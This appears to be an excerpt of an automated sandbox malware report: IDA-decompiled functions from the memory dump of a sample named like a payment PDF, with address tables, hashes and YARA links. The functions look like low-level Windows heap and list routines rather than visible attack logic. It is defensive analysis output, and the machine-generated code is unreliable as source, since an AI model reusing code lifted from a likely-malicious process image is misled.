						_t58 = _t46 + _t46;
					} else {
						_t58 = 0x10;
					}
					if(_t58 < _t46 || _t58 >= 0xccccccc) {
						L29:
						_t55 = 0xc0000017;
						goto L17;
					} else {
						_t47 = _t58 * 0x14;
						_t38 = L334AC958(_t58 * 0x14);
						_v12 = _t38;
						if(_t38 == 0) {
							goto L29;
						}
						L334A1D66(_t47, _t49, 0);
						_t52 =  *0x3356923c; // 0x0
						if(_t52 != 0) {
							L334B88C0(_t38, _t52,  *0x33569240 * 0x14);
							_t60 = _t60 + 0xc;
							_t29 = E33490130();
							_push(_t52);
							_push(0);
							if(_t29 != 0) {
								_push( *0x3356921c);
							} else {
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							}
							E33483BC0();
						}
						_t48 = _v12;
						 *0x3356923c = _t38;
						 *0x33569244 = _t58;
						goto L12;
					}
				}
			}

0x334aa350
0x334aa355
0x334aa356
0x334aa358
0x334aa361
0x334aa365
0x334aa46d
0x334aa471
0x334aa471
0x334aa36b
0x334aa36c
0x334aa372
0x334aa379
0x334aa37e
0x334aa386
0x334e6413
0x334e6418
0x334e641e
0x334e6421
0x334aa38c
0x334aa38c
0x334aa38c
0x334aa390
0x334aa474
0x00000000
0x334aa396
0x334aa398
0x334aa39e
0x334e6428
0x334e6430
0x00000000
0x00000000
0x334e6438
0x334e643d
0x334aa3fc
0x334aa3fc
0x334aa409
0x334aa40c
0x334aa415
0x334aa416
0x334aa417
0x334aa418
0x334aa419
0x334aa41a
0x334aa41c
0x334aa41d
0x334aa41e
0x334aa41f
0x334aa420
0x334aa425
0x334aa42b
0x334aa42d
0x334aa430
0x334aa433
0x334aa436
0x334aa43b
0x334aa479
0x334aa479
0x334aa43f
0x334aa44f
0x334aa454
0x334aa457
0x334aa459
0x334aa45c
0x334aa466
0x00000000
0x334aa46c
0x334aa3a4
0x334aa3a6
0x334e6448
0x334aa3ac
0x334aa3ae
0x334aa3ae
0x334aa3b1
0x334e6489
0x334e6489
0x00000000
0x334aa3c3
0x334aa3c3
0x334aa3cb
0x334aa3cd
0x334aa3d2
0x00000000
0x00000000
0x334aa3da
0x334aa3df
0x334aa3e7
0x334e645a
0x334e645f
0x334e6462
0x334e6467
0x334e6468
0x334e646c
0x334e6479
0x334e646e
0x334e6474
0x334e6474
0x334e647f
0x334e647f
0x334aa3ed
0x334aa3f0
0x334aa3f6
0x00000000
0x334aa3f6
0x334aa3b1

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 302cfa48bb79280522f541c534abea3c6936581a3e85f64701e2c5db66971fc3
Instruction ID: e3f29a1a17fbe0a7758fd713128f32cdc4c8c29b4a3ff881c0a1b808aafe1204
Opcode Fuzzy Hash: 302cfa48bb79280522f541c534abea3c6936581a3e85f64701e2c5db66971fc3
Instruction Fuzzy Hash: D14126B2A00351AFEB54EF6CC881F5AB7A4EB64B44F00502DFD52AB341DB71980387AC

Uniqueness

Uniqueness Score: -1.00%

Function 33543157 Relevance: .1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E33543157(void* __ebx, intOrPtr __ecx, signed short* __edx, void* __edi, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				char _v16;
				char _v32;
				char _v40;
				intOrPtr _t63;
				void* _t64;
				intOrPtr* _t74;
				intOrPtr* _t77;
				intOrPtr _t82;
				char _t84;
				void* _t87;
				intOrPtr _t88;
				void* _t92;
				intOrPtr* _t95;
				intOrPtr* _t97;
				intOrPtr* _t99;
				intOrPtr* _t101;
				void* _t102;
				intOrPtr* _t103;
				intOrPtr* _t104;
				signed short* _t105;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				signed int _t110;
				intOrPtr* _t113;
				intOrPtr* _t116;
				intOrPtr* _t117;
				intOrPtr _t119;
				void* _t120;
				void* _t124;

				_t105 = __edx;
				_t100 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t63 = __ecx;
				_v8 = __edx;
				_t110 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t63 + 0x154; // 0x154
				_t116 = _t3;
				_t97 =  *_t116;
				_t64 = _t110 + 2;
				while(_t97 != _t116) {
					if( *((intOrPtr*)(_t97 + 0x14)) != _t64) {
						L4:
						_t97 =  *_t97;
						continue;
					} else {
						_t7 = _t97 + 0x18; // 0x18
						if(E334C8050(_t7, _t105[2], _t110) == _t110) {
							_t40 = _t97 + 0xc; // 0xc
							_t117 = _t40;
							_t113 =  *_t117;
							while(_t113 != _t117) {
								_t92 = L334B8870(_a4, _t113 + 8, 0x10);
								_t124 = _t124 + 0xc;
								if(_t92 == 0) {
									L12:
									L13:
									return 0;
								} else {
									_t113 =  *_t113;
									continue;
								}
								goto L27;
							}
							_t104 = L33485D90(_t100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0x18);
							if(_t104 != 0) {
								_t119 = _a4;
								_t46 = _t97 + 0xc; // 0xc
								_t95 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t108 =  *_t95;
								if( *((intOrPtr*)(_t108 + 4)) != _t95) {
									L22:
									_push("true");
									_pop(_t102);
									asm("int 0x29");
									_push(_t119);
									_t120 = _t102;
									L3351A810("true",  &_v32,  &_v40);
									_t82 = L33485D90(_t102,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									 *((intOrPtr*)(_t120 + 0x134)) = _t82;
									if(_t82 != 0) {
										_t84 =  *((intOrPtr*)(_t120 + 0x8c)) +  *((intOrPtr*)(_t120 + 0x8c));
										_push("true");
										_push(0x1000);
										 *((intOrPtr*)(_t120 + 0x13c)) = _t84;
										_v16 = _t84;
										_push( &_v16);
										_push(0);
										_push(_t120 + 0x138);
										_push(0xffffffff);
										_t87 = E334B2B10();
									} else {
										_t87 = 0xc0000017;
									}
									return _t87;
								} else {
									 *((intOrPtr*)(_t104 + 4)) = _t95;
									 *_t104 = _t108;
									 *((intOrPtr*)(_t108 + 4)) = _t104;
									 *_t95 = _t104;
									 *((intOrPtr*)(_t97 + 8)) =  *((intOrPtr*)(_t97 + 8)) + 1;
									_t88 = _v12;
									L11:
									 *(_t88 + 0xdc) =  *(_t88 + 0xdc) | 0x00000010;
									goto L12;
								}
							} else {
								L19:
								_push(0xe);
								_pop(0);
								goto L13;
							}
						} else {
							_t105 = _v8;
							_t64 = _t110 + 2;
							goto L4;
						}
					}
					L27:
				}
				_t10 = _t110 + 0x1a; // 0x1a
				_t99 = L33485D90(_t100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t10);
				if(_t99 == 0) {
					goto L19;
				} else {
					 *((intOrPtr*)(_t99 + 0x14)) = _t110 + 2;
					_t16 = _t99 + 0x18; // 0x18
					L334B88C0(_t16, _v8[2], _t110);
					_t124 = _t124 + 0xc;
					 *((short*)(_t99 + _t110 + 0x18)) = 0;
					_t19 = _t99 + 0xc; // 0xc
					_t74 = _t19;
					 *((intOrPtr*)(_t74 + 4)) = _t74;
					 *_t74 = _t74;
					 *(_t99 + 8) =  *(_t99 + 8) & 0x00000000;
					_t101 = L33485D90(_t100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0x18);
					if(_t101 == 0) {
						goto L19;
					} else {
						_t119 = _a4;
						_t26 = _t99 + 0xc; // 0xc
						_t77 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t106 =  *_t77;
						if( *((intOrPtr*)(_t106 + 4)) != _t77) {
							goto L22;
						} else {
							 *((intOrPtr*)(_t101 + 4)) = _t77;
							 *_t101 = _t106;
							 *((intOrPtr*)(_t106 + 4)) = _t101;
							 *_t77 = _t101;
							_t88 = _v12;
							 *(_t99 + 8) = 1;
							 *(_t88 + 0xdc) =  *(_t88 + 0xdc) | 0x00000010;
							_t34 = _t88 + 0x154; // 0x1ba
							_t103 = _t34;
							_t107 =  *_t103;
							if( *((intOrPtr*)(_t107 + 4)) != _t103) {
								goto L22;
							} else {
								 *_t99 = _t107;
								 *((intOrPtr*)(_t99 + 4)) = _t103;
								 *((intOrPtr*)(_t107 + 4)) = _t99;
								 *_t103 = _t99;
								goto L11;
							}
						}
					}
				}
				goto L27;
			}

0x33543157
0x33543157
0x3354315c
0x3354315d
0x33543160
0x33543162
0x33543166
0x33543169
0x3354316c
0x3354316c
0x33543172
0x33543174
0x3354319b
0x3354317c
0x33543199
0x33543199
0x00000000
0x3354317e
0x33543182
0x3354318d
0x3354325f
0x3354325f
0x33543262
0x3354327d
0x3354326f
0x33543274
0x33543279
0x33543256
0x33543258
0x3354325c
0x3354327b
0x3354327b
0x00000000
0x3354327b
0x00000000
0x33543279
0x33543293
0x33543297
0x3354329e
0x335432a4
0x335432a4
0x335432a7
0x335432a8
0x335432a9
0x335432aa
0x335432ab
0x335432b0
0x335432c4
0x335432c4
0x335432c6
0x335432c7
0x335432d1
0x335432d5
0x335432de
0x335432f1
0x335432f6
0x335432fe
0x3354330d
0x3354330f
0x33543311
0x33543316
0x3354331c
0x33543322
0x33543323
0x3354332b
0x3354332c
0x3354332e
0x33543300
0x33543300
0x33543300
0x33543335
0x335432b2
0x335432b2
0x335432b5
0x335432b7
0x335432ba
0x335432bc
0x335432bf
0x3354324f
0x3354324f
0x00000000
0x3354324f
0x33543299
0x33543299
0x33543299
0x3354329b
0x00000000
0x3354329b
0x33543193
0x33543193
0x33543196
0x00000000
0x33543196
0x3354318d
0x00000000
0x3354317c
0x3354319f
0x335431b3
0x335431b7
0x00000000
0x335431bd
0x335431c0
0x335431ca
0x335431ce
0x335431d5
0x335431d8
0x335431dd
0x335431dd
0x335431e0
0x335431e3
0x335431eb
0x335431fb
0x335431ff
0x00000000
0x33543205
0x33543205
0x3354320b
0x3354320b
0x3354320e
0x3354320f
0x33543210
0x33543211
0x33543212
0x33543217
0x00000000
0x3354321d
0x3354321d
0x33543220
0x33543222
0x33543225
0x33543227
0x3354322a
0x33543231
0x33543238
0x33543238
0x3354323e
0x33543243
0x00000000
0x33543245
0x33543245
0x33543247
0x3354324a
0x3354324d
0x00000000
0x3354324d
0x33543243
0x33543217
0x335431ff
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8e46193db8e3b5b16c475c6b7e0eac9c3dab9cb937863f6c3e187fb8c66faf7
Instruction ID: f9943e738ef082a8b37a9eb82f687f0f0f985c8db5b219f7bf8b45ec5c92bb33
Opcode Fuzzy Hash: f8e46193db8e3b5b16c475c6b7e0eac9c3dab9cb937863f6c3e187fb8c66faf7
Instruction Fuzzy Hash: 4351AC71600606EFDB0ACF54D580A46FBF9FF55304F59C4AAE8089F262E371EA95CB90

Uniqueness

Uniqueness Score: -1.00%

Function 3353A553 Relevance: .1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E3353A553(intOrPtr* __ecx, char __edx, signed int _a4) {
				char _v12;
				char _v16;
				intOrPtr _v19;
				char _v20;
				intOrPtr _v23;
				void* _v32;
				intOrPtr _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t36;
				signed int _t41;
				void* _t42;
				char* _t54;
				signed int _t63;
				signed int _t71;
				void* _t72;
				signed int _t75;
				unsigned int _t76;
				char _t88;
				intOrPtr* _t101;
				signed int _t104;
				void* _t114;

				_t88 = __edx;
				_t1 =  &_a4;
				 *_t1 = _a4 & 0x00000001;
				_v12 = __edx;
				_t101 = __ecx;
				if( *_t1 == 0) {
					L33482330(__ecx + 0x40, __ecx + 0x40);
					_t88 = _v16;
				}
				_t36 = _t101 + 0x44;
				_t63 = 0;
				_t104 =  *_t36;
				if(( *(_t36 + 4) & 0x00000001) != 0) {
					if(_t104 == 0) {
						_t104 = 0;
					} else {
						_t104 = _t104 ^ _t36;
					}
				}
				_t71 =  *(_t36 + 4) & 1;
				if(_t104 == 0) {
					L18:
					if(_a4 == _t63) {
						E334824D0(_t101 + 0x40);
						_t88 = _v16;
					}
					_push(_t63);
					_push(_t63);
					_push(_t63);
					_push(_t88);
					_push("true");
					_pop(_t72);
					L33535FED(_t72, _t101);
					goto L28;
				} else {
					_t41 = _t71;
					do {
						_t114 = _t88 - ( *(_t104 + 0xc) & 0xffff0000);
						if(_t114 < 0) {
							_t75 =  *_t104;
							goto L12;
						}
						if(_t114 <= 0) {
							break;
						}
						_t75 =  *(_t104 + 4);
						L12:
						if(_t41 == 0 || _t75 == 0) {
							_t104 = _t75;
						} else {
							_t104 = _t104 ^ _t75;
						}
					} while (_t104 != 0);
					_t42 = _t101 + 0x44;
					if(_t104 != 0) {
						_push(_t104);
						L33499B40(_t63, _t101, _t104, _t42);
						if(_a4 == _t63) {
							E334824D0(_t101 + 0x40);
						}
						_t76 =  *(_t104 + 0x10);
						_push( *((intOrPtr*)(_t101 + 4)));
						_push( *_t101);
						_t67 = 1 << (_t76 >> 0x00000002 & 0x0000003f);
						_push(0x8000);
						_t22 = _t67 - 1; // 0x0
						_v20 = ((_t76 >> 0x00000001 & 1) + (_t76 >> 0xc) << 0xc) - 1 + (1 << (_t76 >> 0x00000002 & 0x0000003f)) - (((_t76 >> 0x00000001 & 1) + (_t76 >> 0x0000000c) << 0x0000000c) - 0x00000001 + 1 & _t22);
						L33538845( &_v16,  &_v20);
						asm("lock xadd [eax], ecx");
						asm("lock xadd [eax], edx");
						E33539629(_t104,  *_t101,  *((intOrPtr*)(_t101 + 4)));
						_t106 = _v40;
						_t63 = _v40;
						if(L33483C40() == 0) {
							_t54 = 0x7ffe0388;
						} else {
							_t106 = _v23;
							_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
						}
						if( *_t54 != 0) {
							E3352DA30(_t63, _t101, _v19, _t106);
						}
						L28:
						return _t63;
					}
					goto L18;
				}
			}

0x3353a553
0x3353a55e
0x3353a55e
0x3353a565
0x3353a569
0x3353a56b
0x3353a571
0x3353a576
0x3353a576
0x3353a57a
0x3353a57d
0x3353a583
0x3353a585
0x3353a589
0x3353a58f
0x3353a58b
0x3353a58b
0x3353a58b
0x3353a589
0x3353a595
0x3353a59a
0x3353a5cd
0x3353a5d0
0x3353a5d6
0x3353a5db
0x3353a5db
0x3353a5df
0x3353a5e0
0x3353a5e1
0x3353a5e2
0x3353a5e3
0x3353a5e7
0x3353a5e8
0x00000000
0x3353a59c
0x3353a59c
0x3353a59e
0x3353a5a7
0x3353a5a9
0x3353a5b2
0x00000000
0x3353a5b2
0x3353a5ab
0x00000000
0x00000000
0x3353a5ad
0x3353a5b4
0x3353a5b6
0x3353a5c0
0x3353a5bc
0x3353a5bc
0x3353a5bc
0x3353a5c2
0x3353a5c6
0x3353a5cb
0x3353a5f2
0x3353a5f4
0x3353a5fc
0x3353a602
0x3353a602
0x3353a607
0x3353a60c
0x3353a613
0x3353a628
0x3353a62a
0x3353a634
0x3353a648
0x3353a64c
0x3353a65c
0x3353a66c
0x3353a677
0x3353a67c
0x3353a680
0x3353a689
0x3353a69f
0x3353a68b
0x3353a691
0x3353a698
0x3353a698
0x3353a6a7
0x3353a6b0
0x3353a6b0
0x3353a6b5
0x3353a6bd
0x3353a6bd
0x00000000
0x3353a5cb

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea43246fbd83d83eaef87b522a15b96089fa26436030b0f1b742671951348d63
Instruction ID: 251ab1ca958fadb9560bcec83a3fc4dfb815721cc23b7d339feae01bf48f94fb
Opcode Fuzzy Hash: ea43246fbd83d83eaef87b522a15b96089fa26436030b0f1b742671951348d63
Instruction Fuzzy Hash: AD412A72A027159FDB15CF24D880B5AB7B9FF85364F04852DE9528B644EB31ED14CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 334A0118 Relevance: .1, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E334A0118(void* __ebx, intOrPtr* __ecx, intOrPtr* __edx, void* __edi, void* __esi, void* __eflags) {
				short _t46;
				short _t49;
				signed int _t58;
				signed short _t60;
				signed char _t64;
				intOrPtr* _t74;
				intOrPtr* _t76;
				signed short _t80;
				signed short* _t82;
				signed short _t83;
				signed short _t88;
				intOrPtr _t91;
				intOrPtr _t97;
				intOrPtr* _t99;
				short _t101;
				void* _t103;

				_t76 = __ecx;
				_push(0x2c);
				_push(0x3354c630);
				E334C7BE4(__ebx, __edi, __esi);
				_t99 = __edx;
				 *((intOrPtr*)(_t103 - 0x38)) = __edx;
				_t74 = __ecx;
				 *((intOrPtr*)(_t103 - 0x34)) = __ecx;
				if(E334A0504(__ecx) == 0) {
					_t46 = 0xc000000d;
					L13:
					 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0x10));
					return _t46;
				}
				 *((intOrPtr*)(_t103 - 4)) = 0;
				if(E334A0470(__edx, _t103 - 0x1c) != 0) {
					_t49 =  *((intOrPtr*)(_t103 - 0x1c));
					__eflags = _t49 - 0xc000;
					if(_t49 >= 0xc000) {
						_t49 = 0;
						 *((short*)(_t103 - 0x1c)) = 0;
						_t101 = 0xc000000d;
					} else {
						_t101 = 0;
					}
					 *((intOrPtr*)(_t103 - 0x20)) = _t101;
					_t80 =  *(_t103 + 8);
					__eflags = _t80;
					if(_t80 != 0) {
						 *_t80 = _t49;
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					E334824D0( *((intOrPtr*)(_t103 - 0x34)) + 8);
					_t46 = _t101;
					goto L13;
				}
				if( *_t99 == 0) {
					_t101 = 0xc0000033;
					L11:
					 *((intOrPtr*)(_t103 - 0x20)) = _t101;
					goto L12;
				}
				_t81 = _t74;
				_t101 = E334A035F(_t74, _t99, _t76, _t103 - 0x2c, _t103 - 0x24, _t103 - 0x30, _t103 - 0x28);
				 *((intOrPtr*)(_t103 - 0x20)) = _t101;
				if(_t101 < 0) {
					goto L12;
				}
				_t91 =  *((intOrPtr*)(_t103 - 0x28));
				if(_t91 != 0) {
					_t82 =  *(_t103 - 0x30);
					_t58 =  *_t82 & 0x0000ffff;
					__eflags = _t58 - 0xffff;
					if(_t58 == 0xffff) {
						_t82[1] = _t82[1] | 0x00000001;
					} else {
						_t60 = _t58 + 1;
						__eflags = _t60;
						 *_t82 = _t60;
					}
					_t83 =  *(_t103 + 8);
					__eflags = _t83;
					if(_t83 != 0) {
						 *_t83 =  *((intOrPtr*)(_t91 + 6));
					}
					_t101 = 0;
					goto L11;
				}
				_t114 =  *((intOrPtr*)(_t103 - 0x2c)) - _t91;
				if( *((intOrPtr*)(_t103 - 0x2c)) == _t91) {
					_t101 = 0xc000000d;
					goto L11;
				}
				_t101 = 0xc0000017;
				 *((intOrPtr*)(_t103 - 0x20)) = 0xc0000017;
				_t97 = E334A0774(_t103 - 0x30, _t114, _t81);
				 *((intOrPtr*)(_t103 - 0x28)) = _t97;
				if(_t97 == 0) {
					goto L12;
				}
				_t18 = _t97 + 0xe; // 0xe
				L334B88C0(_t18,  *((intOrPtr*)(_t103 - 0x38)),  *(_t103 - 0x24));
				_t64 =  *(_t103 - 0x24) >> 1;
				 *(_t97 + 0xc) = _t64;
				 *((short*)(_t97 + 0xe + (_t64 & 0x000000ff) * 2)) = 0;
				if(E334A05C0(_t74, _t74, _t97) == 0) {
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t97);
					_t101 =  *((intOrPtr*)(_t103 - 0x20));
					goto L12;
				}
				 *(_t97 + 6) = 0x0000c000 |  *(_t97 + 4);
				 *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x2c)))) = _t97;
				_t88 =  *(_t103 + 8);
				if(_t88 != 0) {
					 *_t88 =  *(_t97 + 6);
				}
				_t101 = 0;
				goto L11;
			}

0x334a0118
0x334a0118
0x334a011a
0x334a011f
0x334a0124
0x334a0126
0x334a0129
0x334a012b
0x334a0135
0x334e0bce
0x334a0222
0x334a0225
0x334a0231
0x334a0231
0x334a013d
0x334a014c
0x334a025f
0x334a0263
0x334a0266
0x334a0279
0x334a027b
0x334a027f
0x334a0268
0x334a0268
0x334a0268
0x334a026a
0x334a026d
0x334a0270
0x334a0272
0x334a0274
0x334a0274
0x334a020d
0x334a020d
0x334a021b
0x334a0220
0x00000000
0x334a0220
0x334a0155
0x334e0bd8
0x334a020a
0x334a020a
0x00000000
0x334a020a
0x334a016e
0x334a0175
0x334a0177
0x334a017c
0x00000000
0x00000000
0x334a0182
0x334a0187
0x334a0234
0x334a0237
0x334a023f
0x334a0242
0x334a0286
0x334a0244
0x334a0244
0x334a0244
0x334a0245
0x334a0245
0x334a0248
0x334a024b
0x334a024d
0x334a0253
0x334a0253
0x334a0256
0x00000000
0x334a0256
0x334a018d
0x334a0190
0x334e0bfb
0x00000000
0x334e0bfb
0x334a0196
0x334a019b
0x334a01aa
0x334a01ac
0x334a01b1
0x00000000
0x00000000
0x334a01b9
0x334a01bd
0x334a01c8
0x334a01ca
0x334a01d2
0x334a01e2
0x334e0bee
0x334e0bf3
0x00000000
0x334e0bf3
0x334a01f1
0x334a01f8
0x334a01fa
0x334a01ff
0x334a0205
0x334a0205
0x334a0208
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9729a88754db562bed7a527024f52fcb70d77cb9fc341d04c73020d9ade4fe96
Instruction ID: 81aead4d503745b59df52859013f6659fee626bb4128b0b18f34391862347620
Opcode Fuzzy Hash: 9729a88754db562bed7a527024f52fcb70d77cb9fc341d04c73020d9ade4fe96
Instruction Fuzzy Hash: 6F41AD7AD013199FDB04CF98C440AEEB7B4BF68704F14816AE825EB750D7399D42CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 334B2670 Relevance: .1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E334B2670(intOrPtr* __ecx, intOrPtr* __edx) {
				signed int _v8;
				intOrPtr* _v12;
				intOrPtr* _v16;
				signed int _v20;
				signed int* _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __ebx;
				signed int* _t57;
				signed int _t63;
				intOrPtr _t68;
				char* _t70;
				signed int _t80;
				signed int _t89;
				signed int _t91;
				intOrPtr* _t97;
				intOrPtr _t99;
				signed int _t100;
				signed int _t101;
				signed int _t105;
				void* _t107;
				intOrPtr* _t108;
				signed int _t113;

				_t97 = __ecx;
				_v16 = __edx;
				_v12 = __ecx;
				if( *__ecx != __edx) {
					asm("sbb eax, eax");
					_t105 = 0;
					_v8 = 0;
					_t80 = 0;
					_t4 = _t97 + 0x10; // -16
					_t57 = _t4;
					_v24 = _t57;
					while(1) {
						_t113 =  *_t57;
						_v20 = _t113;
						if((_t113 >> 0x00000010 & 0x00008000) != 0) {
							goto L8;
						}
						if(_t113 == 0) {
							L27:
							L2:
							return _t105;
						}
						asm("lock cmpxchg [edx], ecx");
						_t97 = _v12;
						if(_t113 == _t113) {
							L10:
							if(_t113 == 0xffffffff) {
								goto L27;
							}
							if(_t113 == 0) {
								L26:
								 *_v24 = _t113;
								goto L27;
							}
							_t63 =  *_t97 + 0x50;
							_v28 =  ~( *(_t97 + 0x18) & 0x0000ffff);
							_v8 = _t63;
							do {
								_t107 =  *_t63;
								_t99 =  *((intOrPtr*)(_t63 + 4));
								_v32 = _t99;
								asm("lock cmpxchg8b [esi]");
								_t63 = _v8;
							} while (_t107 != _t107 || _t99 != _v32);
							_t113 = _v20;
							_t100 =  *(_v12 + 0x18) & 0x0000ffff;
							_v8 = _t100;
							_t108 = _v16 + 0x50;
							do {
								_t68 =  *_t108;
								_t89 =  *(_t108 + 4);
								_v32 = _t68;
								_v28 = _t89;
								_t101 = _t89 + 1;
								if(_t100 == 0) {
									_t101 = _t89 - 1;
								}
								_v20 = _t101;
								asm("lock cmpxchg8b [edi]");
								_t91 = _t89;
								_t100 = _v8;
							} while (_t68 != _v32 || _t91 != _v28);
							_t84 = _v12;
							 *_v12 = _v16;
							_t105 = 1;
							if(L33483C40() == 0) {
								_t70 = 0x7ffe0380;
							} else {
								_t70 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							}
							if( *_t70 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
								L3352EEE7(_t84,  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0xc)) + 0xc)),  *((intOrPtr*)(_t84 + 4)), ( *( *[fs:0x18] + 0xfa8) & 0x000000ff) - 1);
							}
							goto L26;
						}
						L8:
						_t80 = _t80 + 1;
						if(_t80 <= _v8) {
							_t6 = _t97 + 0x10; // -16
							_t57 = _t6;
							continue;
						}
						_t113 = _t113 | 0xffffffff;
						_v20 = _t113;
						goto L10;
					}
				}
				_t105 = 1;
				goto L2;
			}

0x334b267a
0x334b267d
0x334b2680
0x334b2685
0x334ea165
0x334ea16a
0x334ea16c
0x334ea16f
0x334ea171
0x334ea171
0x334ea175
0x334ea17d
0x334ea17d
0x334ea184
0x334ea18c
0x00000000
0x00000000
0x334ea191
0x334ea2b1
0x334b268e
0x334b2692
0x334b2692
0x334ea1a4
0x334ea1a8
0x334ea1ad
0x334ea1bb
0x334ea1be
0x00000000
0x00000000
0x334ea1c6
0x334ea2ac
0x334ea2af
0x00000000
0x334ea2af
0x334ea1d4
0x334ea1d7
0x334ea1da
0x334ea1dd
0x334ea1dd
0x334ea1df
0x334ea1e4
0x334ea1f1
0x334ea1fa
0x334ea1fa
0x334ea207
0x334ea20a
0x334ea214
0x334ea217
0x334ea219
0x334ea219
0x334ea21d
0x334ea220
0x334ea223
0x334ea229
0x334ea22c
0x334ea22e
0x334ea22e
0x334ea231
0x334ea23a
0x334ea23e
0x334ea240
0x334ea243
0x334ea24d
0x334ea253
0x334ea257
0x334ea25f
0x334ea271
0x334ea261
0x334ea26a
0x334ea26a
0x334ea279
0x334ea2a7
0x334ea2a7
0x00000000
0x334ea279
0x334ea1af
0x334ea1af
0x334ea1b3
0x334ea17a
0x334ea17a
0x00000000
0x334ea17a
0x334ea1b5
0x334ea1b8
0x00000000
0x334ea1b8
0x334ea17d
0x334b268d
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 378b6ea2690461ba2e231297a609f0620a72d96a2581e8c9db1b1bf84233c730
Instruction ID: d7d90248f3ad43efaada76ddcd25759dcd95fe11344cf8cd8102ab3bb3029507
Opcode Fuzzy Hash: 378b6ea2690461ba2e231297a609f0620a72d96a2581e8c9db1b1bf84233c730
Instruction Fuzzy Hash: 54515C79E00215CFDB04CF99C480AAEF7B5FF89715F2881A9D855AB350D731AE41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 33476074 Relevance: .1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E33476074(signed int __ebx, void* __ecx, void* __edi, signed int __esi) {
				void* _t45;
				signed int _t46;
				intOrPtr _t49;
				signed int _t53;
				signed int _t55;
				void* _t57;
				signed int _t61;
				intOrPtr _t63;
				intOrPtr _t70;
				signed int _t74;
				intOrPtr* _t77;
				signed int _t80;
				unsigned int _t86;
				intOrPtr* _t87;
				void* _t89;
				signed int* _t90;
				void* _t91;
				void* _t92;
				signed int _t94;
				signed int _t96;
				void* _t97;

				_t94 = __esi;
				_t92 = __edi;
				_t74 = __ebx;
				if(( *(_t97 - 0x50) & 0x00000001) != 0) {
					_t45 = L3346BE18(_t97 - 0xd4);
					 *(_t97 - 0x50) =  *(_t97 - 0x50) & 0xfffffffe;
				}
				__eflags =  *((char*)(_t97 - 0xf6));
				if( *((char*)(_t97 - 0xf6)) != 0) {
					asm("lock dec dword [edi+0xf8]");
				}
				__eflags =  *((char*)(_t97 - 0xf7));
				if( *((char*)(_t97 - 0xf7)) == 0) {
